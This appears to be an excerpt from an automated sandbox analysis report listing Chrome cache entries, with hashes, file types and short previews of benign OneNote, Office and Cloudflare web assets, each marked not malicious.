SHA-256:	16AB414F8B420754EB7D8095EF2E2953C18C442E173B1CBC1603CB0E19F1CC95
SHA-512:	A64B7008BFA9F29EB26656137952E6C62DA50A80E071ED743B7A6468A2CF856A78A1F5CBE4A7562B1E130FF296C288744158AEF51BBDC576A87F4A265DDB2816
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/h16AB414F8B420754_App_Scripts/1033/Box4Intl.js
Preview:	Type.registerNamespace("Box4Intl");Box4Intl.Box4Strings=function(){};Box4Intl.Box4Strings.registerClass("Box4Intl.Box4Strings");Box4Intl.Box4Strings.l_OutlineResizeAlt="Resize the Outline";Box4Intl.Box4Strings.l_NavigationPaneContentsLabel="Notebook Contents";Box4Intl.Box4Strings.l_UntitledPageText="Untitled Page";Box4Intl.Box4Strings.l_UntitledSection="Untitled Section";Box4Intl.Box4Strings.l_NotebookPagesSection="General Pages";Box4Intl.Box4Strings.l_ProtoButtonText="New Page";Box4Intl.Box4Strings.l_SectionGroupAltText="Section Group";Box4Intl.Box4Strings.l_SectionGroupArrowAltText="Navigate Up";Box4Intl.Box4Strings.l_DefaultUserName="Unknown User";Box4Intl.Box4Strings.l_UserInitialsDelimeter="; ";Box4Intl.Box4Strings.l_PageLoadingText="Loading...";Box4Intl.Box4Strings.l_OreoSpinnerText="Loading Page...";Box4Intl.Box4Strings.l_ConflictPage="Conflict Page";Box4Intl.Box4Strings.l_PageAccessibilityContext="Page {0}";Box4Intl.Box4Strings.l_PageWithSearchResultsAccessibilityContext="Page

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3805
Entropy (8bit):	5.437320551417507
Encrypted:	false
SSDEEP:	48:EmMpkNuavqahuY0sepcQYmPXC14vPXCQZ44g1wahK9FcAGmPXC24vT6PXC34qEMf:G6uavqah0se6lEBg1wahzE2jfu3u0ef
MD5:	BE5FDAC1CE0648089E24D04504B0E45E
SHA1:	95AE09FD32E8FCD6BFFF732FAFC37D62811B56C3
SHA-256:	8B26C5DD1864FA988934937A8AAF9B2AB3DCBA2523F4699EBE53569F9AF6A139
SHA-512:	78D901AABD9C61B8CB177F50819F9A9B425E86B3C61B0A9B53A9C45CF7BEC6BAE72828EACFC8B9FBEFFD8901BC4B9FED9378CED362BAEB8E52FEF0468F286E76
Malicious:	false
Preview:	....<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">....<html xmlns="http://www.w3.org/1999/xhtml">...<head><title>....</title>....<style id="sharedauthstyles" nonce="770ba4e6-a778-41a8-adc9-6a26020a842e"></style>....<script type="text/javascript" nonce="0bed9f76-411f-4eb9-88bc-1fa400bc1e0e">.....function loadBackupScript() {......var backupScript = document.createElement('script');......backupScript.setAttribute("data-allowedapps", "");......backupScript.setAttribute("data-allowedaudiences", "");......backupScript.setAttribute("data-origin", "");......backupScript.setAttribute("data-scriptload", "PRODUCTION.100: 20241022.4");......script.setAttribute("fetchpriority", "high");......backupScript.id = "sharedauthscript";......backupScript.src = "https://wise-m-backup.public.onecdn.static.microsoft/wise/owl/sharedauthclientmsal.39dcdf70a2434436117b.js";......backupScript.integrity = "sha384-tpvjg53cnAY5Ku4H8RkNIKuRYP

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	421076
Entropy (8bit):	5.583580815311071
Encrypted:	false
SSDEEP:	6144:pwp9bJkWfIMi3GLoY56k4FHhQNUQOeQeYm9XYd3U1:pw5fIx3GLoY5yHheUQbn9XY6
MD5:	8017EFC165ED5E4071013E77982A10E7
SHA1:	503B6090E3741A1423D1C03962304A5128ADACC2
SHA-256:	9AFD741D5FF23189871E012B80CEBFBB8E220044555372CA0FE0979C94707624
SHA-512:	302EB07B9FC306FEFDB4C773D87A3A38065158AAD9DC8DDB37431487DC2767983C6B3569BB209CD8E02C12ADED4985D10D3590B29CE45DE6C0C9DD2D5D96A52C
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/appChrome.min.js
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,s){try{var a=e[i](s),l=a.value}catch(e){return void o(e)}a.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function s(e){asyncGeneratorStep(i,n,r,s,a,"next",e)}function a(e){asyncGeneratorStep(i,n,r,s,a,"throw",e)}s(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:LUQ9:LUA
MD5:	825644F747BAAB2C00E420DBBC39E4B3
SHA1:	10588307553E766AB3C7D328D948DC6754893CEF
SHA-256:	7C41B898C5DA0CFA4AA049B65EF50248BCE9A72D24BEF4C723786431921B75AA
SHA-512:	BFE6E8DF36C78CBFD17BA9270C86860EE9B051B82594FB8F34A0ADF6A14E1596D2A9DCDC7EB6857101E1502AFF6FF515A36E8BA6C80DA327BC11831624A5DAEA
Malicious:	false
Preview:	Bad Request

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35936), with CRLF line terminators
Category:	dropped
Size (bytes):	65468
Entropy (8bit):	5.346696281904265
Encrypted:	false
SSDEEP:	768:ETarIzLYTfoY5iwkD9Hr09qZsOlcJoPBPCvmW7YeOeYRtbRcOMJGXX3FouZoGfx0:EOczSghxezYrlcaPsP
MD5:	1997228D20EACA8AA1C9D666E58CBCDB
SHA1:	B7FAD772EDC427D672F2911D5FCC4AF5151606BF
SHA-256:	B873715A8705C515974A714B92EF7AD138EA308D972E407DEFD77F2078DB2BA5
SHA-512:	B43B8A01294D0540F59408BFF29B62E4EFEC041776AC45A21E58369847695A8447FA896ED772EAD07CB5D4E43DA64E79254F57F94C6AFB5274A6123CE6772528
Malicious:	false
Preview:	var OSFPerformance;..(function (OSFPerformance) {.. OSFPerformance.officeExecuteStartDate = 0;.. OSFPerformance.officeExecuteStart = 0;.. OSFPerformance.officeExecuteEnd = 0;.. OSFPerformance.hostInitializationStart = 0;.. OSFPerformance.hostInitializationEnd = 0;.. OSFPerformance.totalJSHeapSize = 0;.. OSFPerformance.usedJSHeapSize = 0;.. OSFPerformance.jsHeapSizeLimit = 0;.. OSFPerformance.getAppContextStart = 0;.. OSFPerformance.getAppContextEnd = 0;.. OSFPerformance.createOMEnd = 0;.. OSFPerformance.officeOnReady = 0;.. OSFPerformance.hostSpecificFileName = "";.. function now() {.. if (performance && performance.now) {.. return performance.now();.. }.. else {.. return 0;.. }.. }.. OSFPerformance.now = now;.. function getTotalJSHeapSize() {.. if (typeof (performance) !== 'undefined' && performance.memory) {.. return performance.memory.totalJSHeapSize;.. }..

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (18992), with CRLF line terminators
Category:	dropped
Size (bytes):	19181
Entropy (8bit):	4.3590974373798
Encrypted:	false
SSDEEP:	384:im1leaXgjDSEcE+fg1gKzqF9meWFaUOKco5FXp/kf/oezD:b1leajD0kiDlgMJkIy
MD5:	D9604CC18F364A6ADE707B7FAAEC642C
SHA1:	F38F0B94764184D4373886FDA1CA87D352BFCE5A
SHA-256:	F282423F48F12F56419363384F3B10002C8D3D106BC1AC8FF721602AA2B2FD9B
SHA-512:	7B305607B79F077539E3C37CD46EAFBB9E4C9B2A8825217187515CD20FFBFE204BAC43E918CD4440EB65A3A2DCFFC4140D06B43845613D48566448765B3D5DF4
Malicious:	false
Preview:	.var AutoCorrectList={"(c)":".","(r)":".","(tm)":".","...":".","abbout":"about","abotu":"about","abouta":"about a","aboutit":"about it","aboutthe":"about the","abscence":"absence","accesories":"accessories","accidant":"accident","accomodate":"accommodate","accordingto":"according to","accross":"across","acheive":"achieve","acheived":"achieved","acheiving":"achieving","acn":"can","acommodate":"accommodate","acomodate":"accommodate","actualyl":"actually","additinal":"additional","addtional":"additional","adequit":"adequate","adequite":"adequate","adn":"and","advanage":"advantage","affraid":"afraid","afterthe":"after the","againstt he":"against the","aganist":"against","aggresive":"aggressive","agian":"again","agreemeent":"agreement","agreemeents":"agreements","agreemnet":"agreement","agreemnets":"agreements","agressive":"aggressive","ahppen":"happen","ahve":"have","allwasy":"always","allwyas":"always","almots":"almost","almsot":"almost","alomst":"almost","alot":"a lot","alraedy":

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	472483
Entropy (8bit):	5.395467136654138
Encrypted:	false
SSDEEP:	12288:Bw8JjHqc4zxn+9xVpkJ59tJjs4N0S37B+9nr:1nr
MD5:	76328F92AA8FCDC94FBCB570CE57D76C
SHA1:	CA9D64B517CD0E8474F8FCFF4101B3A88E5F9EB2
SHA-256:	E15A3B74A760F470FE602177F03B496FED3243E19CCD6BC359AD48DE7E5C4F11
SHA-512:	2B5CB8391A783DFCED1BD5F4CF4DE85D28D42BA251B6596CC19A8E0DAA12B4D7E51B0B81BE3DD4D0CB99140C20AE01E7014597222BBD4E46D7206B590D9F4F7B
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/hE15A3B74A760F470_resources/1033/OneNote.Refresh.css
Preview:	.headBrand{cursor:default;line-height:48px;font-size:22px;margin-left:20px;margin-right:20px;font-family:'SegoeUI-SemiLight-final','Segoe UI SemiLight','Segoe UI WPC Semilight','Segoe UI',Segoe,Tahoma,Helvetica,Arial,sans-serif;}.cui-topBar1-transistionalHeaderUI .headBrand{width:auto !important;height:24px !important;line-height:normal !important;padding-bottom:12px;padding-top:12px;display:inline-block;font-size:17px;font-family:inherit;margin-left:17px;margin-right:17px;font-family:'Segoe UI','Segoe UI Web',Arial,Verdana,sans-serif;}.cui-topBar1-transitionalReactHeaderUI .headBrand{width:auto !important;line-height:48px !important;padding:0 6px;display:inline-block;font-size:16px;font-weight:600;font-family:"Segoe UI","Segoe UI Web (West European)","Segoe UI",-apple-system,BlinkMacSystemFont,Roboto,"Helvetica Neue",sans-serif;}@font-face{font-family:"Segoe UI Web Light";font-style:normal;font-weight:normal;src:local("Segoe UI Light"),url('./segoeuil.woff') format('woff'),url('./sego

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38617), with no line terminators
Category:	downloaded
Size (bytes):	38617
Entropy (8bit):	4.892203561984488
Encrypted:	false
SSDEEP:	768:N4kjOKvWptT2z2p9hmkNqJ3htY1xYhwn5n9O:YKOptT2Sp9A7htY1xYC5n9O
MD5:	FE1E3F510D9B8C6F79E1E5E52362BC6E
SHA1:	5E3B968543A37E7AD3AA50B2536420DEE762C069
SHA-256:	82C1D484D2DD8CC012FC9DED6FE545E4D83C6232337038B1A57BCEDEEFF70193
SHA-512:	5CA94E3421E76CBB09BA4AF4A13FD79ABD22A43B148662AF9A1DC6585860B0BA9BF4E34D285BBAEFD7016C42D47045CBC0AD2BD8970D10BD1F5ABD1357A06BFA
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/h82C1D484D2DD8CC0_App_Scripts/1033/OneNoteIntl.js
Preview:	Type.registerNamespace("OneNoteIntl");OneNoteIntl.OneNoteStrings=function(){};OneNoteIntl.OneNoteStrings.registerClass("OneNoteIntl.OneNoteStrings");OneNoteIntl.OneNoteStrings.L_CloudFilesUploadSuccess="Successfully Uploaded : {0}";OneNoteIntl.OneNoteStrings.L_CloudFilesUploadFailed="Error Uploading : {0}";OneNoteIntl.OneNoteStrings.L_ContextMenuSmartLookup="Search";OneNoteIntl.OneNoteStrings.L_ContextMenuTextSmartLookup='Search "{0}"';OneNoteIntl.OneNoteStrings.L_BrowseVersions="Page Versions";OneNoteIntl.OneNoteStrings.L_Camera="Camera";OneNoteIntl.OneNoteStrings.L_CopyNotebook="Copy Notebook";OneNoteIntl.OneNoteStrings.L_HierarchySyncErrorMessage="The new experimental sync feature has experienced an error and your change may not be saved.";OneNoteIntl.OneNoteStrings.L_HierarchySyncErrorRefreshMessage="Please click here or refresh the webpage to resolve the issue.";OneNoteIntl.OneNoteStrings.L_CopyToCloudDescription="Edit and view this notebook on all your devices";OneNoteIntl.OneNot

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24306), with CRLF line terminators
Category:	dropped
Size (bytes):	24452
Entropy (8bit):	5.328428296210481
Encrypted:	false
SSDEEP:	384:9CT9tmaKmjfU6/pyX98SRCRrXeFxf/biyMFRwV6ApqVblbtA69E/YNwwOIUAttmU:9CT9tmaXU6/pyN8SRCRrXeFxf/biyMF9
MD5:	AC459993971D136B5C420665B272E101
SHA1:	3C84797F6C43434519212E1AE74E84C4BC9E133A
SHA-256:	883922A710E857E94B35FD6748792782280A859E154E4DB2E4C0B4876DFA61AE
SHA-512:	35DDE4930521684FC51EB5E521D23259DB9A17455F572CCE8BF3E319BE1D69B0571D6E38AB9C72F5801E8777F567AED9742970E6409C0C77C255E995362B5477
Malicious:	false
Preview:	/! Hammer.JS - v2.0.8 - 2019-03-19.. http://hammerjs.github.io/.. .. Copyright (c) Jorik Tangelder;.. * Licensed under the MIT license */..(function(window,document,exportName,undefined){"use strict";function ifUndefined(val1,val2){return val1===undefined?val2:val1}var STATE_POSSIBLE=1;var STATE_BEGAN=2;var STATE_CHANGED=4;var STATE_ENDED=8;var STATE_RECOGNIZED=STATE_ENDED;var STATE_CANCELLED=16;var STATE_FAILED=32;var assign=void 0;if(typeof Object.assign!=="function"){assign=function assign(target){if(target===undefined\|\|target===null){throw new TypeError("Cannot convert undefined or null to object")}var output=Object(target);for(var index=1;index<arguments.length;index++){var source=arguments[index];if(source!==undefined&&source!==null){for(var nextKey in source){if(source.hasOwnProperty(nextKey)){output[nextKey]=source[nextKey]}}}}return output}}else{assign=Object.assign}var assign$1=assign;var _uniqueId=1;function uniqueId(){return _uniqueId++}function each(obj,iterator,con

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	175719
Entropy (8bit):	4.255303968193695
Encrypted:	false
SSDEEP:	1536:0hEjBUBvBrBXBWBIBXBXBaBIBQBbBnBgAfBRBbB3BjBTBDBvBHBPBPBxBBBHB6ST:/RYAQ+
MD5:	9CFEFB2D46D6102DAC2A24C606F47FEA
SHA1:	076B63F4F46CE28648201E2507BBC67FB4F990C5
SHA-256:	43C5939CB732D8AA2D20FCE97F359F46B7C3B937E60ED576B752AE0A2E73314F
SHA-512:	C56812F0A9DCBC53E8AFA542923F20E911DE172C1D87B9868DB42A01F2FC303BBECE6509925E43E8F877DC8A3C7904FAE731C1C19BD35B5FAD18582B7498E24D
Malicious:	false
Preview:	var __extends = (this && this.__extends) \|\| (function () {.. var extendStatics = function (d, b) {.. extendStatics = Object.setPrototypeOf \|\|.. ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) \|\|.. function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };.. return extendStatics(d, b);.. };.. return function (d, b) {.. extendStatics(d, b);.. function __() { this.constructor = d; }.. d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());.. };..})();..var OfficeExtension;..(function (OfficeExtension) {.. var WacRuntime;.. (function (WacRuntime) {.. var ApiFlags;.. (function (ApiFlags) {.. ApiFlags[ApiFlags["none"] = 0] = "none";.. ApiFlags[ApiFlags["restrictedResource"] = 4] = "restrictedResource";.. ApiFlags[ApiFlags["makerSafe"] = 128] = "makerSafe";.. ApiFlags[ApiFlags["excludedF

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 86 x 73, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.014960565232003
Encrypted:	false
SSDEEP:	3:yionv//thPlxiNR0kxl/k4E08up:6v/lhPuQk7Tp
MD5:	66F395DDE20DA7B6FBA5F1F2D62F9461
SHA1:	AA5C21902D0CF6D5E6B78959094B34931DA2CDC1
SHA-256:	B11A15B13B2E2764881D01331D65E1452369FBE967751495200A8D9669852EC2
SHA-512:	36671550546B7D950114725A26982E944698EDB1015EDD611455C31EA5FFB512AF5EC10D4F664D36BAFD271B6B227E0412972DF219584BE537B6B34D7E3F3948
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8d80c8d89fe42e6c/1729844400485/hwBDZeVNXBV8bI8
Preview:	.PNG........IHDR...V...I.....(.F.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 452 x 444, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	51120
Entropy (8bit):	7.954718383506729
Encrypted:	false
SSDEEP:	1536:fAXURb/VRlg/u3OD+RerLnSFFFCX8iarUMpu:f/VNfO2Ocerbdv/Mpu
MD5:	ECA50172A6583B16E553E9917FB710FB
SHA1:	2FD7FB2FF5C10E17E9066CE6BD2393E1F6B93CC0
SHA-256:	FFF5919A2CBACEAE0528522B6C73E4F1D549CA8EE13C680B50ED377DFD2B61F0
SHA-512:	1E7591A35DE7C00A197C08F15BA9ED7A9014EFFEF03DB240A92B63F8A8EC8DAE8F02811C8E9696FA934E6C4EFCBBBA14F2D01082A63471092488850A2D16958B
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_resources/1033/m2/one.png
Preview:	.PNG........IHDR.............@.....wIDATx^..xU......n{..W.;.:T.W-W......I..hD..V..U..P@..A.@H....-.HEF..."....."zE@.B......OY~..s.:{.=.....?{.....N~..z.w..............T.vmr.k.>=.....~.A.......#.q...u..=..I...gee6 .v---.$.".L..=W>kD.+@... ...z..yd...s...mhK..:.avvf._........F.N.........x....?.b.US.\|~ii....W.V.w..-}\|...n//g..7..h..R.m{............X..+&U.....=...h.....B$../......0lll.@.+..l....l.&.o.x9..7.Y.1{.....G...w..-}...>..u."....1h(n.t......m.....X.kIf .i..]...{A......+.g...m=....'//..k=..A\|.v.8&.....!..>.}W.!.D.......s..x....w.a..Mr.....,P.KxII....5.~.>.%..1..1......y.P...w(..{..O ..n.V..Oh...iC[7.x....\..(..D.C...}....}..?...>%...".~0b..g.Yy...^.\|./..+@.7.z.D.\|*==.9.c....g..m\|.]ZZ.^..b}b.....D..ly..3:.P.`BE.+.6..b....1..9...\.." ............7....]r.c.&."...-/.OJ6.........2.c.....pA.Z.................?.Z.x....r.E?`........}W>..c...g@i.."P.kUVQ/..^.........BQ....WguU.E...%1`@.F....}Uax..f..".`,.t..V .9.7..E...[Sm...y.

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 78 x 53, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.9574232700791017
Encrypted:	false
SSDEEP:	3:yionv//thPlkgayxl/k4E08up:6v/lhP3ay7Tp
MD5:	1D1A0C4318EDF487D4320881461D8C58
SHA1:	1C99BF8143C1D6AFC29BD1D138F50A89F9F0DD3C
SHA-256:	1B079BF6A40B2410E77B380315C861E4EB541735264425F8D6A45D2E7EB80047
SHA-512:	4FA6CF5B9840AE9C5FA837D266929D6DA2B471053DE1D1A672A4F1EB9EBE6B32768CBB3B50CC4A395226A443C3E1C5E3C51B94E660B5E458FF85A031A2BE0164
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8d80c89969212cc4/1729844388924/rSvfPn8XhGh_Nsi
Preview:	.PNG........IHDR...N...5.....`-JH....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1115
Entropy (8bit):	7.474905425501729
Encrypted:	false
SSDEEP:	24:OQkGe2gKOcQO9S80Axzhkzc7iFTZkqeNblj5ILlN0EFgFahPKN7FqP8:OQkRrTCbxzwSiZLCN52TFgM5KN7Fp
MD5:	084E7612635DFCF69A16255B41E70CAA
SHA1:	0D9721AA70B01487D3340B864C0BD49FB1D95206
SHA-256:	7B389747818635BCA6FE76F5E3226EDA36AF53D8F27526796BC975EBD440A395
SHA-512:	A0104DBB40429BCA5F54061CE6D36A695283D883CE1B732CA87A30743234D29BEBA07A0100DE0DE0B274A70C8C7C289574F6343DF16C3E4C7B6453F60E8737B9
Malicious:	false
Preview:	.PNG........IHDR...`...`......w8....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.k.A.....@ .6.* ..H...R....V....l.! X..Z..Z..... X... .. .{.^fw...{.fv..70.~..\|........ .. .. .. .. .. .. .. .. .. .. ..3.8.1q....(.&.....B.o.."w..Y.....]......~0N0....]..z....\|.n........_..O...9..8@..K./..%..[..LQ.rm:.H.>...-..;,...9.G.n....`.{..-.F...'.?...y..]H..o{y..#.....]..x\|...K.(x\|p~.....r..R..~\.2.Y...f.Q..i...o...r.........Gc..Bp.Ol..\(...~.T...,....j.O.(e......j(e. ...Z....Rf......j(e. ...Z....Rf......j(e.....D.,Y.....~..n.[.........PA....]....0.mK...sE.........J~}z[.!n...RV\|.#.......7s.......)B.e;j2.........tX..k.....o.V....j.k3A........9..?R....Z....5t..j....f.Z.....E.L....J..7.}Uk.......H..i.Z...1...x$....]<I.......#ixw..h.h.h.a.4....9.&.v.....2i..D..l...'.-.+.._...eLZ...M..x..1%.g....'A..X.....jkK.^W.}.m...T....\|...._.^.[..~u'...mco.8...nT....d.m.I.b..M.4...s.U.;Yu...k.1\|..93a..(M..2..U......B..S..O...........c.......?)....iz.D...T.D!....R

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, hotspot @16x16
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	0.3626382302432769
Encrypted:	false
SSDEEP:	3:GlFFHvDllfl/t+lVsu/jXpRq/uXJRi/uXZRi/uXJRq/uX3XXRLtutpaKsx67YTsD:Gl/qlOeTjq2Di2Ti2Dq2nBL4OxhG5
MD5:	04D59A1FFDA7020CBDA1BB9FCBF0BCA0
SHA1:	E0CACE5751F02AF9E12B3C066FFD542F3D12A279
SHA-256:	EDC250E23E06AE7D15C1C19FDF9C6759129796B0A2F76DC82DF665C823C7B495
SHA-512:	A997D4384DA8D401321C497F49F73F0C79C1815DFD8B679458385D4E4A8ED2F645DDCF940A9347EA35F2D7AD3EE710F06784E8E1B1461AB7E8633BFF0FE0A691
Malicious:	false
Preview:	...... ..............(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 90 x 25, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524404
Encrypted:	false
SSDEEP:	3:yionv//thPlUbjG/7Bxl/k4E08up:6v/lhPimt7Tp
MD5:	83ECA790CE105B3BBA582D5BCE7B9DA6
SHA1:	0AD8A722591EB67C39D1F53BA7C5C898789B34D3
SHA-256:	8D562E2F660F35375F78632F3249576FD1AF51FE345F7A342437AAFE08CA57FC
SHA-512:	B9E9AC7BE276F1066237D03098E9DD459C685CF1495D8CB1B2952A052539901DF6B9F08FD8AD2A63340C505B931BA787B10FFFAC22D28FE2F03D91E13F00326B
Malicious:	false
Preview:	.PNG........IHDR...Z.........>.......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30497), with no line terminators
Category:	dropped
Size (bytes):	30497
Entropy (8bit):	5.0064253326064065
Encrypted:	false
SSDEEP:	384:NpM3QZmZwe3CDLqHOGRvCEWMYdd9KaAQnzkY65dv:NpM3QZbLqHO4XYdd9KvQnzkY65dv
MD5:	E55F3C2F2F2F2A339E4B0A08030E9803
SHA1:	729D608C534829E07F5DCDBBD75BBC031A9E9D9A
SHA-256:	40CBE329851D4261E0E4A3B3665FD1025747AAC3CBFD87689CF3F2689CACF4E9
SHA-512:	CB67A880ECAA6F59844F6604BB98A7E27AB64F639AC79BA683C164A2A809BFAF1D3B224CC50138846B8646EF05409820AEE490BA83D637145E16A78E67CF4847
Malicious:	false
Preview:	Type.registerNamespace("WoncaIntl");WoncaIntl.WoncaStrings=function(){};WoncaIntl.WoncaStrings.registerClass("WoncaIntl.WoncaStrings");WoncaIntl.WoncaStrings.L_RibbonLabel="Ribbon";WoncaIntl.WoncaStrings.L_TabHome="Home";WoncaIntl.WoncaStrings.L_TabInsert="Insert";WoncaIntl.WoncaStrings.L_TabWordDesign="Design";WoncaIntl.WoncaStrings.L_TabReferences="References";WoncaIntl.WoncaStrings.L_TabMailings="Mailings";WoncaIntl.WoncaStrings.L_TabReview="Review";WoncaIntl.WoncaStrings.L_TabView="View";WoncaIntl.WoncaStrings.L_TabDeveloper="Developer";WoncaIntl.WoncaStrings.L_TabAddIns="Add-ins";WoncaIntl.WoncaStrings.L_TabTableTools="Table Tools";WoncaIntl.WoncaStrings.L_TabLayout="Layout";WoncaIntl.WoncaStrings.L_TabPictureTools="Picture Tools";WoncaIntl.WoncaStrings.L_TabFormatPicture="Format";WoncaIntl.WoncaStrings.L_TabDesign="Design";WoncaIntl.WoncaStrings.L_TabHelp="Help";WoncaIntl.WoncaStrings.L_GroupUndoRedo="Undo";WoncaIntl.WoncaStrings.L_GroupClipboard="Clipboard";WoncaIntl.WoncaString

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65526), with no line terminators
Category:	dropped
Size (bytes):	267969
Entropy (8bit):	5.853913548046937
Encrypted:	false
SSDEEP:	3072:THuMo7Wfk6v2UefJRApOPaXD9NSt1lWfogo3FDgvak3a:THuMoCfkrxkMt1+3a
MD5:	A07BBD93F7642473051CB1CF69C08472
SHA1:	E52DD5ECC98629978B277B7A41326AD1B6BCD75F
SHA-256:	1C6285973A69887718A02AC335C5119F5B591F41F262C99A59C680D7F5D17700
SHA-512:	B740B0C9BDB351F68D4506912E262BCB6B8309F217F20BE5101F2A4D9463EEF29B1E8B2550F1DDD5AF46E91F90BA824A327E39712CD97FECCDAC916A9B9D449E
Malicious:	false
Preview:	function _define_property(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function _object_spread(e){for(var n=1;n<arguments.length;n++){var t=null!=arguments[n]?arguments[n]:{},i=Object.keys(t);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(t).filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable})))),i.forEach((function(n){_define_property(e,n,t[n])}))}return e}function ownKeys(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);n&&(i=i.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,i)}return t}function _object_spread_props(e,n){return n=null!=n?n:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ownKeys(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})),e}(globalThis.onenote

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	dropped
Size (bytes):	76571
Entropy (8bit):	5.364259301211758
Encrypted:	false
SSDEEP:	768:Y57B+n7r5qGhmViGJmOsrmNS+p2ZiDO0eX/DcynXE+L92w7q9u7k78CRtfa:YxB+n7r55RGMr9nXEiz7V7k78r
MD5:	4DE42314D6EDDA70DF9779762ACC12B8
SHA1:	2AF63137ABC68C0910107F8598B7DE48FD5BBD9C
SHA-256:	7E86DF2AC06E3524CB7BC6F0B8EB07565BA6D103EAF3CF1A30AC4C78F11A4EAA
SHA-512:	4465A7B79288AC5B75B4B21DDE3EA774F94AC209DDADFF99DA7741ED841C739C1F82DAEB550DC707A986FFFED8B9B84F45CA7705F40244A993D0CE34BD65B02B
Malicious:	false
